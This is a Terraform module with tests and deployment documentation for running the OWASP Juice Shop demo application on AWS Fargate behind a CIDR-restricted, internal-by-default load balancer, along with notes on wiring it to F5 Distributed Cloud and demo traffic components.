validation { condition = length(var.name) >= 2 && length(var.name) <= 32 && can(regex("^[a-z][a-z0-9-]*[a-z0-9]$", var.name)) error_message = "name must be 2-32 characters, start with a lowercase letter, end with a lowercase letter or digit, and contain only lowercase letters, digits, and hyphens." }}
variable "vpc_id" { description = "ID of the caller-managed VPC." type = string
validation { condition = can(regex("^vpc-[0-9a-f]+$", var.vpc_id)) error_message = "vpc_id must be an AWS VPC ID." }}
variable "alb_subnet_ids" { description = "At least two caller-managed subnet IDs for ALB placement in the declared VPC and distinct Availability Zones." type = list(string)
validation { condition = length(distinct(var.alb_subnet_ids)) >= 2 && alltrue([for id in var.alb_subnet_ids : can(regex("^subnet-[0-9a-f]+$", id))]) error_message = "alb_subnet_ids must contain at least two distinct AWS subnet IDs." }}
variable "task_subnet_ids" { description = "Caller-managed private subnet IDs for Fargate tasks. They must provide NAT/proxy egress for Docker Hub and AWS Logs, or equivalent endpoints and egress." type = list(string)
validation { condition = length(var.task_subnet_ids) > 0 && alltrue([for id in var.task_subnet_ids : can(regex("^subnet-[0-9a-f]+$", id))]) error_message = "task_subnet_ids must contain at least one valid AWS subnet ID." }}
variable "public_exposure" { description = "Explicitly create an internet-facing rather than internal ALB. Use only for authorized demo infrastructure." type = bool default = false}
variable "allowed_ingress_cidrs" { description = "Non-empty set of authorized IPv4 CIDRs allowed to reach HTTP. World-open ingress requires public_exposure=true." type = set(string) default = ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]
validation { condition = length(var.allowed_ingress_cidrs) > 0 && alltrue([for cidr in var.allowed_ingress_cidrs : can(cidrnetmask(cidr)) && !strcontains(cidr, ":")]) && (var.public_exposure || !contains(var.allowed_ingress_cidrs, "0.0.0.0/0")) error_message = "allowed_ingress_cidrs must contain valid IPv4 CIDRs; 0.0.0.0/0 is allowed only when public_exposure is true." }}
variable "container_image" { description = "OWASP Juice Shop OCI image reference pinned by immutable sha256 digest." type = string default = "docker.io/bkimminich/juice-shop@sha256:9e437b456e444ff001d1663e4f6f05c796fe02f1058dd2651d6791a15b43dfeb"
validation { condition = can(regex("^[^@]+@sha256:[0-9a-f]{64}$", var.container_image)) error_message = "container_image must be an immutable image reference ending in @sha256:<64 lowercase hexadecimal characters>." }}
variable "container_port" { description = "TCP port exposed by the Juice Shop container." type = number default = 3000
validation { condition = var.container_port >= 1024 && var.container_port <= 65535 error_message = "container_port must be between 1024 and 65535." }}
variable "desired_count" { description = "Number of Fargate tasks to run." type = number default = 1
validation { condition = var.desired_count >= 1 && floor(var.desired_count) == var.desired_count error_message = "desired_count must be a positive integer." }}
variable "cpu" { description = "Fargate task CPU units." type = number default = 512
validation { condition = contains([256, 512, 1024, 2048, 4096, 8192, 16384], var.cpu) error_message = "cpu must be a supported Fargate CPU value." }}
variable "memory" { description = "Fargate task memory in MiB." type = number default = 1024
validation { condition = ( var.cpu == 256 ? contains([512, 1024, 2048], var.memory) : var.cpu == 512 ? contains([1024, 2048, 3072, 4096], var.memory) : var.cpu == 1024 ? var.memory >= 2048 && var.memory <= 8192 && var.memory % 1024 == 0 : var.cpu == 2048 ? var.memory >= 4096 && var.memory <= 16384 && var.memory % 1024 == 0 : var.cpu == 4096 ? var.memory >= 8192 && var.memory <= 30720 && var.memory % 1024 == 0 : var.cpu == 8192 ? var.memory >= 16384 && var.memory <= 61440 && var.memory % 4096 == 0 : var.cpu == 16384 ? var.memory >= 32768 && var.memory <= 122880 && var.memory % 8192 == 0 : false ) error_message = "memory must be a valid Fargate memory value for the selected cpu." }}
variable "cloudwatch_log_retention_days" { description = "CloudWatch Logs retention in days. The security baseline requires at least one year." type = number default = 365
validation { condition = var.cloudwatch_log_retention_days >= 365 error_message = "cloudwatch_log_retention_days must be at least 365." }}
variable "cloudwatch_logs_kms_key_arn" { description = "ARN of a caller-managed symmetric KMS key whose policy permits the regional CloudWatch Logs service to use it." type = string
validation { condition = can(regex("^arn:(aws|aws-us-gov|aws-cn):kms:[a-z0-9-]+:[0-9]{12}:key/[0-9a-fA-F-]{36}$", var.cloudwatch_logs_kms_key_arn)) error_message = "cloudwatch_logs_kms_key_arn must be a valid KMS key ARN." }}
variable "alb_access_logs_bucket" { description = "Name of a caller-managed S3 bucket configured to accept ALB access logs with the required regional delivery policy." type = string
validation { condition = length(var.alb_access_logs_bucket) >= 3 && length(var.alb_access_logs_bucket) <= 63 error_message = "alb_access_logs_bucket must be a valid 3-63 character S3 bucket name." }}
variable "alb_access_logs_prefix" { description = "Optional S3 key prefix for ALB access logs." type = string default = "juice-shop"
validation { condition = !startswith(var.alb_access_logs_prefix, "/") && !endswith(var.alb_access_logs_prefix, "/") && !strcontains(var.alb_access_logs_prefix, "AWSLogs") error_message = "alb_access_logs_prefix must not start or end with a slash or contain AWSLogs." }}
variable "tags" { description = "Additional tags applied to supported resources." type = map(string) default = {}}locals { tags = merge(var.tags, { Name = var.name })}
resource "aws_iam_role" "task_execution" { name = "${var.name}-execution" assume_role_policy = jsonencode({ Version = "2012-10-17" Statement = [{ Effect = "Allow" Action = "sts:AssumeRole" Principal = { Service = "ecs-tasks.amazonaws.com" } }] }) tags = local.tags}
resource "aws_iam_role_policy" "task_execution" { name = "${var.name}-logs" role = aws_iam_role.task_execution.id
policy = jsonencode({ Version = "2012-10-17" Statement = [{ Effect = "Allow" Action = ["logs:CreateLogStream", "logs:PutLogEvents"] Resource = "${aws_cloudwatch_log_group.this.arn}:*" }] })}
resource "aws_cloudwatch_log_group" "this" { name = "/ecs/${var.name}" retention_in_days = var.cloudwatch_log_retention_days kms_key_id = var.cloudwatch_logs_kms_key_arn tags = local.tags}
resource "aws_ecs_cluster" "this" { name = var.name
setting { name = "containerInsights" value = "enabled" }
tags = local.tags}
resource "aws_security_group" "alb" { name_prefix = "${var.name}-alb-" description = "Caller-scoped HTTP ingress to the Juice Shop ALB" vpc_id = var.vpc_id tags = local.tags
lifecycle { create_before_destroy = true }}
resource "aws_vpc_security_group_ingress_rule" "alb" { for_each = var.allowed_ingress_cidrs
security_group_id = aws_security_group.alb.id description = "HTTP from ${each.value}" cidr_ipv4 = each.value from_port = 80 to_port = 80 ip_protocol = "tcp"}
resource "aws_vpc_security_group_egress_rule" "alb" { security_group_id = aws_security_group.alb.id description = "Juice Shop traffic to Fargate tasks" referenced_security_group_id = aws_security_group.task.id from_port = var.container_port to_port = var.container_port ip_protocol = "tcp"}
resource "aws_security_group" "task" { name_prefix = "${var.name}-task-" description = "Juice Shop tasks reachable only from the ALB" vpc_id = var.vpc_id tags = local.tags
lifecycle { create_before_destroy = true }}
resource "aws_vpc_security_group_ingress_rule" "task" { security_group_id = aws_security_group.task.id description = "Juice Shop traffic from the ALB" referenced_security_group_id = aws_security_group.alb.id from_port = var.container_port to_port = var.container_port ip_protocol = "tcp"}
resource "aws_vpc_security_group_egress_rule" "task" { security_group_id = aws_security_group.task.id description = "HTTPS egress for image pulls and AWS service access" cidr_ipv4 = "0.0.0.0/0" from_port = 443 to_port = 443 ip_protocol = "tcp"}
data "aws_subnet" "alb" { for_each = { for index, id in var.alb_subnet_ids : tostring(index) => id } id = each.value}
data "aws_subnet" "task" { for_each = { for index, id in var.task_subnet_ids : tostring(index) => id } id = each.value}
check "task_subnet_placement" { assert { condition = alltrue([for subnet in data.aws_subnet.task : subnet.vpc_id == var.vpc_id]) error_message = "task_subnet_ids must all belong to vpc_id." }}
check "alb_subnet_placement" { assert { condition = alltrue([for subnet in data.aws_subnet.alb : subnet.vpc_id == var.vpc_id]) && length(distinct([for subnet in data.aws_subnet.alb : subnet.availability_zone])) >= 2 error_message = "alb_subnet_ids must all belong to vpc_id and span at least two distinct Availability Zones." }}
resource "aws_lb" "this" { # checkov:skip=CKV_AWS_150:Deletion protection is intentionally disabled so this ephemeral authorized demo origin can be destroyed immediately after use. # checkov:skip=CKV2_AWS_28:F5 Distributed Cloud CSD and edge security are the enforcement point; an AWS WAF would duplicate controls on this dedicated origin. # checkov:skip=CKV2_AWS_20:F5 Distributed Cloud owns the HTTPS redirect; this CIDR-scoped origin ALB intentionally forwards HTTP. name = var.name internal = !var.public_exposure load_balancer_type = "application" security_groups = [aws_security_group.alb.id] subnets = var.alb_subnet_ids drop_invalid_header_fields = true enable_deletion_protection = false
access_logs { bucket = var.alb_access_logs_bucket prefix = var.alb_access_logs_prefix enabled = true }
tags = local.tags}
resource "aws_lb_target_group" "this" { # checkov:skip=CKV_AWS_378:Private Fargate tasks accept Juice Shop's native HTTP only from the ALB security group. name = var.name port = var.container_port protocol = "HTTP" target_type = "ip" vpc_id = var.vpc_id
health_check { enabled = true path = "/" matcher = "200-399" interval = 30 timeout = 10 healthy_threshold = 2 unhealthy_threshold = 5 }
tags = local.tags}
resource "aws_lb_listener" "http" { # checkov:skip=CKV_AWS_2:F5 Distributed Cloud terminates public TLS and uses this CIDR-scoped HTTP listener only as the demo origin hop. # checkov:skip=CKV_AWS_103:F5 Distributed Cloud owns public TLS; this listener is a CIDR-scoped HTTP origin hop. load_balancer_arn = aws_lb.this.arn port = 80 protocol = "HTTP"
default_action { type = "forward" target_group_arn = aws_lb_target_group.this.arn }}
resource "aws_ecs_task_definition" "this" { family = var.name requires_compatibilities = ["FARGATE"] network_mode = "awsvpc" cpu = tostring(var.cpu) memory = tostring(var.memory) execution_role_arn = aws_iam_role.task_execution.arn
container_definitions = jsonencode([{ name = "juice-shop" image = var.container_image essential = true portMappings = [{ containerPort = var.container_port hostPort = var.container_port protocol = "tcp" }] logConfiguration = { logDriver = "awslogs" options = { awslogs-group = aws_cloudwatch_log_group.this.name awslogs-region = data.aws_region.current.region awslogs-stream-prefix = "juice-shop" } } }])
tags = local.tags}
data "aws_region" "current" {}
resource "aws_ecs_service" "this" { name = var.name cluster = aws_ecs_cluster.this.id task_definition = aws_ecs_task_definition.this.arn desired_count = var.desired_count launch_type = "FARGATE"
network_configuration { subnets = var.task_subnet_ids security_groups = [aws_security_group.task.id] assign_public_ip = false }
deployment_circuit_breaker { enable = true rollback = true }
load_balancer { target_group_arn = aws_lb_target_group.this.arn container_name = "juice-shop" container_port = var.container_port }
health_check_grace_period_seconds = 120
depends_on = [aws_lb_listener.http] tags = local.tags}output "origin_hostname" { description = "ALB DNS hostname for the origin." value = aws_lb.this.dns_name}
output "origin_url" { description = "HTTP URL for the origin." value = "http://${aws_lb.this.dns_name}"}
output "listener_port" { description = "HTTP listener port." value = aws_lb_listener.http.port}
output "listener_protocol" { description = "Listener protocol." value = aws_lb_listener.http.protocol}
output "ecs_cluster_id" { description = "ECS cluster identifier." value = aws_ecs_cluster.this.id}
output "ecs_service_id" { description = "ECS service identifier." value = aws_ecs_service.this.id}
output "task_definition_arn" { description = "ECS task definition ARN." value = aws_ecs_task_definition.this.arn}
output "load_balancer_arn" { description = "Application Load Balancer ARN." value = aws_lb.this.arn}
output "target_group_arn" { description = "Target group ARN." value = aws_lb_target_group.this.arn}
output "alb_security_group_id" { description = "Security group protecting the ALB." value = aws_security_group.alb.id}
output "task_security_group_id" { description = "Security group protecting the Fargate tasks." value = aws_security_group.task.id}
output "vpc_id" { description = "Caller-provided VPC ID." value = var.vpc_id}
output "alb_subnet_ids" { description = "Caller-provided ALB subnet IDs." value = var.alb_subnet_ids}
output "task_subnet_ids" { description = "Caller-provided Fargate task subnet IDs." value = var.task_subnet_ids}
output "container_image" { description = "Immutable image reference used by the task definition." value = var.container_image}terraform { required_version = ">= 1.7.0"
required_providers { aws = { source = "hashicorp/aws" version = ">= 6.0, < 7.0" } }}
provider "aws" { region = var.aws_region profile = var.aws_profile}
module "juice_shop" { source = "../.."
name = "juice-demo" vpc_id = "vpc-0123456789abcdef0" alb_subnet_ids = ["subnet-0123456789abcdef0", "subnet-0123456789abcdef1"] task_subnet_ids = ["subnet-0123456789abcdef2", "subnet-0123456789abcdef3"]
public_exposure = true allowed_ingress_cidrs = ["198.51.100.0/24"] cloudwatch_logs_kms_key_arn = var.cloudwatch_logs_kms_key_arn alb_access_logs_bucket = var.alb_access_logs_bucket}variable "aws_region" { description = "AWS region containing the caller-managed VPC and subnets." type = string default = "us-east-1"}
variable "aws_profile" { description = "Optional shared AWS configuration profile. Leave null to use standard ambient AWS authentication." type = string default = null nullable = true}
variable "cloudwatch_logs_kms_key_arn" { description = "ARN of the caller-managed KMS key for CloudWatch Logs encryption." type = string}
variable "alb_access_logs_bucket" { description = "Name of the caller-managed S3 bucket for ALB access logs." type = string}mock_provider "aws" {}
variables { name = "juice-demo" vpc_id = "vpc-0123456789abcdef0" alb_subnet_ids = ["subnet-0123456789abcdef0", "subnet-0123456789abcdef1"] task_subnet_ids = ["subnet-0123456789abcdef2", "subnet-0123456789abcdef3"] allowed_ingress_cidrs = ["10.0.0.0/8"] cloudwatch_logs_kms_key_arn = "arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012" alb_access_logs_bucket = "example-alb-logs"}
override_data { target = data.aws_subnet.alb["0"] values = { vpc_id = "vpc-0123456789abcdef0" availability_zone = "us-east-1a" }}
override_data { target = data.aws_subnet.alb["1"] values = { vpc_id = "vpc-0123456789abcdef0" availability_zone = "us-east-1b" }}
override_data { target = data.aws_subnet.task["0"] values = { vpc_id = "vpc-0123456789abcdef0" }}
override_data { target = data.aws_subnet.task["1"] values = { vpc_id = "vpc-0123456789abcdef0" }}
run "private_least_privilege_contract" { command = plan
override_data { target = data.aws_subnet.alb["0"] values = { vpc_id = "vpc-0123456789abcdef0" availability_zone = "us-east-1a" } }
override_data { target = data.aws_subnet.alb["1"] values = { vpc_id = "vpc-0123456789abcdef0" availability_zone = "us-east-1b" } }
override_resource { target = aws_security_group.alb values = { id = "sg-0123456789abcdef0" } override_during = plan }
override_resource { target = aws_cloudwatch_log_group.this values = { arn = "arn:aws:logs:us-east-1:123456789012:log-group:/ecs/juice-demo" } override_during = plan }
assert { condition = aws_lb.this.internal && aws_lb.this.load_balancer_type == "application" error_message = "The default origin must use an internal Application Load Balancer." }
assert { condition = aws_cloudwatch_log_group.this.retention_in_days >= 365 && aws_cloudwatch_log_group.this.kms_key_id == var.cloudwatch_logs_kms_key_arn error_message = "CloudWatch logs must retain data for at least one year and use the caller-provided KMS key." }
assert { condition = contains([for setting in aws_ecs_cluster.this.setting : "${setting.name}:${setting.value}"], "containerInsights:enabled") error_message = "The ECS cluster must enable Container Insights." }
assert { condition = aws_lb.this.drop_invalid_header_fields && aws_lb.this.access_logs[0].enabled && aws_lb.this.access_logs[0].bucket == var.alb_access_logs_bucket error_message = "The ALB must drop invalid headers and publish access logs to the caller-provided bucket." }
assert { condition = aws_lb.this.subnets == toset(var.alb_subnet_ids) error_message = "The ALB must use only alb_subnet_ids." }
assert { condition = aws_ecs_service.this.network_configuration[0].subnets == toset(var.task_subnet_ids) && !aws_ecs_service.this.network_configuration[0].assign_public_ip error_message = "Fargate tasks must use task_subnet_ids without public IP addresses." }
assert { condition = aws_vpc_security_group_ingress_rule.task.referenced_security_group_id == "sg-0123456789abcdef0" && aws_vpc_security_group_ingress_rule.task.from_port == var.container_port && aws_vpc_security_group_ingress_rule.task.to_port == var.container_port error_message = "Task ingress must allow only the ALB security group on the container port." }
assert { condition = alltrue([for rule in values(aws_vpc_security_group_ingress_rule.alb) : rule.from_port != 22 && rule.to_port != 22]) && aws_vpc_security_group_ingress_rule.task.from_port != 22 error_message = "The module must not create SSH ingress." }
assert { condition = aws_iam_role_policy.task_execution.policy == jsonencode({ Version = "2012-10-17", Statement = [{ Effect = "Allow", Action = ["logs:CreateLogStream", "logs:PutLogEvents"], Resource = "${aws_cloudwatch_log_group.this.arn}:*" }] }) error_message = "Execution IAM permissions must be limited to writing this module's log streams." }
assert { condition = aws_ecs_service.this.deployment_circuit_breaker[0].enable && aws_ecs_service.this.deployment_circuit_breaker[0].rollback error_message = "ECS deployments must enable the circuit breaker and automatic rollback." }}
run "public_exposure_is_explicit" { command = plan
variables { public_exposure = true allowed_ingress_cidrs = ["198.51.100.0/24"] }
override_data { target = data.aws_subnet.alb["0"] values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1a" } }
override_data { target = data.aws_subnet.alb["1"] values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1b" } }
assert { condition = !aws_lb.this.internal error_message = "public_exposure=true must create an internet-facing ALB." }}
run "reject_world_open_private_alb" { command = plan variables { allowed_ingress_cidrs = ["0.0.0.0/0"] } expect_failures = [var.allowed_ingress_cidrs]}
run "allow_world_open_only_when_public" { command = plan variables { public_exposure = true allowed_ingress_cidrs = ["0.0.0.0/0"] }
override_data { target = data.aws_subnet.alb["0"] values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1a" } } override_data { target = data.aws_subnet.alb["1"] values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1b" } }}
run "reject_alb_subnets_in_different_vpc" { command = plan override_data { target = data.aws_subnet.alb["0"] values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1a" } } override_data { target = data.aws_subnet.alb["1"] values = { vpc_id = "vpc-fedcba98765432100", availability_zone = "us-east-1b" } } expect_failures = [check.alb_subnet_placement]}
run "reject_alb_subnets_in_one_az" { command = plan override_data { target = data.aws_subnet.alb["0"] values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1a" } } override_data { target = data.aws_subnet.alb["1"] values = { vpc_id = "vpc-0123456789abcdef0", availability_zone = "us-east-1a" } } expect_failures = [check.alb_subnet_placement]}
run "reject_task_subnet_in_different_vpc" { command = plan
override_data { target = data.aws_subnet.task["1"] values = { vpc_id = "vpc-fedcba98765432100" } }
expect_failures = [check.task_subnet_placement]}
run "reject_unpinned_image" { command = plan variables { container_image = "bkimminich/juice-shop:latest" } expect_failures = [var.container_image]}
run "reject_single_alb_subnet" { command = plan variables { alb_subnet_ids = ["subnet-0123456789abcdef0"] } expect_failures = [var.alb_subnet_ids]}
run "reject_empty_task_subnets" { command = plan variables { task_subnet_ids = [] } expect_failures = [var.task_subnet_ids]}
run "reject_empty_ingress" { command = plan variables { allowed_ingress_cidrs = [] } expect_failures = [var.allowed_ingress_cidrs]}
run "reject_invalid_name" { command = plan variables { name = "Invalid_Name" } expect_failures = [var.name]}
run "reject_invalid_fargate_size" { command = plan variables { cpu = 256 memory = 4096 } expect_failures = [var.memory]}Plan, review, and apply
Section titled “Plan, review, and apply”Run these commands from the caller’s root configuration, not from the reusable module directory:
terraform initterraform validateinstall -d -m 700 .artifactsterraform plan -out=.artifacts/tfplanterraform show .artifacts/tfplan# Apply only the exact reviewed planterraform apply .artifacts/tfplanterraform output origin_urlSaved plans can contain sensitive state-derived values. Keep .artifacts/ private, ignored, and out
of logs or plan-JSON exports; remove saved plans when no longer needed.
Verify and recover
Section titled “Verify and recover”After apply:
- Confirm the ECS service reaches steady state and its desired and running task counts match.
- Confirm the target group reports healthy targets.
- Confirm the CloudWatch log group receives container logs and ALB access logs arrive in S3.
- Test
origin_urlfrom a network permitted by the selected exposure mode and confirm an unapproved source cannot reach it. - Run
terraform planagain; a stable deployment should report no changes.
If tasks cannot start, inspect ECS service events and CloudWatch logs, then verify private-subnet DNS and egress to Docker Hub and AWS Logs. If targets remain unhealthy, confirm the container port and that task ingress comes only from the ALB security group. If an internal hostname is unreachable, repair the connected route instead of making the ALB public. For a failed image change, retain the previous digest and rely on the ECS deployment circuit breaker rollback, then plan the corrected immutable digest.
AWS cost drivers include ALB hours/capacity, Fargate compute, Container Insights, CloudWatch Logs storage and KMS requests, S3 access-log storage, data transfer, and caller-managed NAT or endpoints. For teardown, create and review a saved destroy plan before applying it. Module destruction leaves caller-owned VPC, subnets, routes, NAT/proxy/endpoints, KMS key, S3 bucket and policy, provider configuration, backend, and state intact.
Wiring to downstream components
Section titled “Wiring to downstream components”For the Azure full-origin, downstream components use the Azure outputs:
# CDN Simulator — pass origin-server's public IP as its upstreamcd ../cdn-simulator/terraformorigin_ip=$(cd ../../origin-server/terraform && terraform output -raw public_ip)cat > terraform.tfvars <<EOFsubscription_id = "your-subscription-id"origin_server = "http://${origin_ip}"origin_host = "${origin_ip}:80"EOF
# Traffic Generator — pass the F5 XC load balancer FQDN, not the origin IP directlycd ../traffic-generator/terraformcat > terraform.tfvars <<EOFsubscription_id = "your-subscription-id"target_fqdn = "your-xc-load-balancer.example.com"EOF| Azure output | Downstream component | Input variable |
|---|---|---|
public_ip | CDN Simulator | origin_server (with http:// prefix) |
public_ip | CDN Simulator | origin_host (with :80 suffix, no scheme) |
public_ip | F5 XC Origin Pool | Origin server address |
For AWS Juice Shop, use origin_hostname as the origin address and listener_port as the port. An
internal ALB requires F5 Distributed Cloud to have an authorized routed path into the VPC.
Proceed to Applications for usage guides or Verify for smoke tests.